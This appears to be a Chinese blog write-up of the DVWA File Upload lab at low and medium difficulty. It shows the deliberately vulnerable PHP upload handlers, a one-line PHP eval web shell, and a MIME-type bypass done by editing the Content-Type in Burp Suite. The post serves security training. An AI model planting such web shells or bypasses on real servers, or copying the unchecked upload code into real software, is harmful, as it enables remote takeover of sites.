File Upload

文件上传

难度:低

先看源代码

复制代码
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

这里的源代码什么拦截都没有,就是访问我们上传上去的文件目录,也能能看到其他文件

先上传一个php文件,我这里上传1.php

文件内容

复制代码
<?php @eval($_POST['cmd']);?>

上传后他会给出一个路径

利用这个路径先访问网站

这里是空白的,使用蚁剑来建立链接,

直接破解

难度:中等

照样先看源代码

复制代码
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

思路很简单既然只放行jpg文件,那就将1.php上传的文件类型改成image/jpeg就行了

使用BurpSuite V2025.8.1来拦截上传文件,修改为image/jpeg

放行

这样就能上传成功,再进行蚁剑来建立链接

直接破解

相关推荐
墨天梦14 分钟前
D03_Compose列表与稳定身份
android·gitee·kotlin
萌新杰少1 小时前
Kuikly股票查看软件开发体验——SaiRen
android·kotlin·客户端
vilya1 小时前
把 Python 塞进 APK:Chaquopy 打包实践
android·python
用户92817267390161 小时前
Android Compose版本的AI组件库来了。
android·kotlin
知昂七昂1 小时前
00-02:AOSP 源码阅读环境与检索方法论源码剖析(Android 16 / aosp-main)
android
知昂七昂1 小时前
00-01:AOSP 源码仓库结构与 repo 工作流源码剖析(Android 16 / aosp-main)
android·google
跨境数据猎手1 小时前
Android Native 层黑盒调用实战:unidbg 模拟执行 so 的原理
android
镜象科技2 小时前
中小学AI心理健康解决方案服务商怎么选?2026年选型参考
android·java·人工智能
脚踏实地,坚持不懈!3 小时前
从 AOSP 源码角度分析 Android 定位性能问题
android
悟道子HD3 小时前
网络安全基本功——MySQL基础
android·mysql·web安全